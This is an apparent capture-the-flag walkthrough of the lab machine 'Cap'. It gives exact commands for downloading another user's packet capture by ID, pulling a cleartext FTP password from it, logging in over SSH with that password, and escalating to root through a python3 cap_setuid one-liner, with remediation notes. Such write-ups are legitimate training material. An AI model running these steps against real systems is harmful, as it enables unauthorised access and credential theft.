Cap
Summary
I discovered a network-monitoring web application that stored past packet captures accessible by a sequential numeric ID. By guessing ID zero, I downloaded the very first capture on the system, which contained a live FTP session and the user nathan's password in cleartext. Those same credentials unlocked an SSH session, giving me an interactive shell.
From that shell, a single recursive capability scan revealed that the system Python interpreter had been granted the cap_setuid Linux privilege, which lets any process it spawns assume root identity. One Python one-liner later, I had a root shell and full control of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 2
Identify open ports and service banners without relying on ICMP ping responses.
$ nmap -Pn -p21,22,80 -sV --version-light $TARGETTested anonymous FTP login — failed, ruling out that entry point.
$ ftp $TARGETExact commands 1
Confirm whether capture record ID 0 returns a 200 rather than a 404 or 403.
$ curl -s -o /dev/null -w "%{http_code}" http://$TARGET/data/0Exact commands 3
Download the first-ever capture by manipulating the numeric ID to 0.
$ curl -s http://$TARGET/download/0 -o capture_0.pcapFilter the PCAP to FTP control traffic and print command + argument pairs — reveals USER and PASS lines.
$ tshark -r capture_0.pcap -Y ftp -T fields -e ftp.request.command -e ftp.request.arg 2>/dev/nullAlternative one-liner if tshark is unavailable.
$ tcpdump -r capture_0.pcap -A 2>/dev/null | grep -E 'USER|PASS'FixEnforce ownership checks on the packet-capture download endpointCritical
Exact commands 1
Open in Wireshark GUI; apply display filter 'ftp' and inspect the USER/PASS frames directly.
$ wireshark capture_0.pcapFixReplace FTP with an encrypted file-transfer protocolHigh
Exact commands 3
Authenticate with password when prompted.
$ ssh nathan@$TARGETCapture user flag: <user.txt>
$ cat /home/nathan/user.txtConfirm context: uid=1001(nathan) gid=1001(nathan).
$ idFixEnforce unique passwords for each service account and disable SSH password authenticationHigh
Exact commands 2
Recursively list all binaries that hold Linux capabilities; the dangerous line is python3.8 = cap_setuid,cap_net_bind_service+eip.
$ getcap -r / 2>/dev/nullCheck for sudo entries — returned no useful privileges for nathan.
$ sudo -lExact commands 3
Invoke setuid(0) through the cap_setuid-enabled binary to inherit root identity, then launch an interactive shell.
$ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'Verify escalation: uid=0(root) gid=0(root) groups=0(root).
$ id
uid=0(root)Capture root flag: <root.txt>
$ cat /root/root.txtFixRemove the cap_setuid capability from the Python interpreterCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.